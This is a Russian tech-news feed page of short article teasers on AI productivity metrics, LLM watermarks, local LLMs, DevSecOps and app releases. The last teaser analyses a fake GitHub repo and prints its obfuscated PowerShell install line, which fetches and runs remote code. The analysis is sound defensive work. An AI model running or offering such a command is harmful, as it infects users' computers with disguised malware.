ИИ пишет код, а команда все равно буксует? Ищем узкие места в разработке с метриками DevEx
Казалось бы, волшебную ИИ-таблетку уже изобрели, и пора бы всем разработчикам выдавать в три-четыре раза больше качественного кода. Так почему этого не происходит? Может, померяем, насколько усердно они бьют по клавиатуре, возьмем количественные показатели из фреймворка DORA… и все равно не поймем, что не так. А как насчёт фреймворка SPACE? Опять чего-то не хватает. Возможно, стоит смотреть и шире, и глубже одновременно. Разработчик же не сферический конь в вакууме: он общается с коллегами, ищет документацию, ждет согласований начальства, и на все это уходят время и силы, которых уже не остается на написание кода.
ИИ ускоряет код, а продуктивность не растет: что на самом деле стоит замерить
Казалось бы, волшебную ИИ-таблетку уже изобрели, и пора бы всем разработчикам выдавать в три-четыре раза больше качественного кода. Так почему этого не происходит? Может, померяем, насколько усердно они бьют по клавиатуре, возьмем количественные показатели из фреймворка DORA… и все равно не поймем, что не так. А как насчёт фреймворка SPACE? Опять чего-то не хватает. Возможно, стоит смотреть и шире, и глубже одновременно. Разработчик же не сферический конь в вакууме: он общается с коллегами, ищет документацию, ждет согласований начальства, и на все это уходят время и силы, которых уже не остается на написание кода.
Текстовый водяной знак LLM: не нужно бояться, нужно знать
Anthropic и Google уже ввели, а OpenAI уже вводит в генерацию своих текстовых моделей водяные знаки.На хабре уже было достаточно хороших статей, поясняющих, как это работает: Как работает текстовый водяной знак в ClaudeКак работают текстовые ИИ-вотермарки и как их обходить
Как мы готовили редизайн продукта с помощью исследований
Привет, Хабр! Меня зовут Илона, я продуктовый дизайнер в команде Project Ruler. В Naumen я работаю больше года, и за это время мы успели сделать многое, чтобы улучшить продукт и подготовить его к редизайну.
Техно‑аквариум в стиле адской Обители: запускаем локальную LLM Qwen 2.5 14B на домашнем ПК для интерактивного сайта
Пролог. Зачем Создатель создает? Сегодня уже никого не удивить нейросетью — из каждого утюга только о них и слышно. Хоть видео, текст, генерация кода. Уже приходится всматриваться в экран, чтобы понять: перед тобой настоящая фотография или работа ИИ. Народ и дома, и на работе вовсю позаводил себе локальные нейронки. Короче, решил и я не отставать.А зачем? Потому что могу. Или хочу узнать смогу ли. Для какой‑то самореализации, интересно пройти этот путь.
Как защищать ИИ-системы и конвейер разработки. Смотрим доклады с PRO DevSecOps Conf 2026
Привет, Хабр!ИИ попадает в продакшен быстрее, чем команды успевают выстроить вокруг него защиту, а в России уже действует 243-ФЗ об ИИ и растут требования к безопасной разработке. Обо всем этом мы говорили 22 сентября на PRO DevSecOps Conf 2026, ежегодной конференции ГК Swordfish Security по безопасной разработке и защищенному ИИ.Своим опытом поделились более 30 спикеров, среди них представители Банка России, ИСП РАН, Газпромбанка, «Почты России» и ВымпелКома.На конференции мы:обсудили, как зрелые команды ведут безопасную разработку и внедряют ИИ на практике;
Ещё один конкурент Jev: SubQ Snap обрабатывает 100K токенов примерно за секунду
Компания Subquadratic представила SubQ Snap, мультимодальную модель для принятия решений внутри AI-агентов. Контекстное окно составляет 384K токенов, в 12 раз больше, чем у Jev. По заявлению разработчиков, обработка запроса на 100K токенов и получение решения занимают примерно секунду.Это первый новый продукт компании после июньского анонса SubQ 1.1 Small
Getty Images планирует подать на банкротство
Getty Images готовится подать заявление на банкротство и стать частной компанией после заключения соглашения о реструктуризации, которую планируют завершить к концу 2026 года.
Вместе с Claude сделал бесплатный Spotlight с ИИ для Mac и Windows: ищет файлы и отвечает на вопросы в одной строке
Каждый день я делал одно и то же: открывал Spotlight, чтобы найти файл или запустить программу, а потом лез в браузер, открывал вкладку с ИИ и вставлял туда вопрос. Два разных места для одного действия — «мне нужно что-то быстро». Захотелось, чтобы это была одна строка: нажал клавишу, напечатал — и если это файл, он открывается, а если вопрос, отвечает нейросеть.Так появилась Lumi — бесплатная программа с открытым кодом для macOS и Windows. Сделал я её не один, а вместе с ИИ-ассистентом Claude Code: о том, как это было, — в конце статьи.Что умеетОдна клавиша на всё. Строка открывается по ⌥ Ё на Mac и Alt+Ё
Мой бот прислал мне репо-ловушку с 1774 звёздами. Разобрал 321 репо из трендов и собрал два фильтра
У меня есть Telegram-бот, который каждое утро присылает пять трендовых репозиториев GitHub с trendshift.io. Под каждым кнопка: нажал, и бот выдаёт выжимку README, чтобы разобрать идею. Я читаю эту ленту каждый день и иногда ставлю то, что понравилось.26 сентября в ленте был «Microsoft Activation Scripts»: 1774 звезды, аккуратное описание, теги. Бот оформил его так же, как четыре соседних проекта, с той же кнопкой.Это была ловушка.Как она устроенаВ репозитории один файл, README. Аккаунт владельца создан за 94 секунды до репозитория. Команда установки выглядит так:iex(irm(-join"…"))
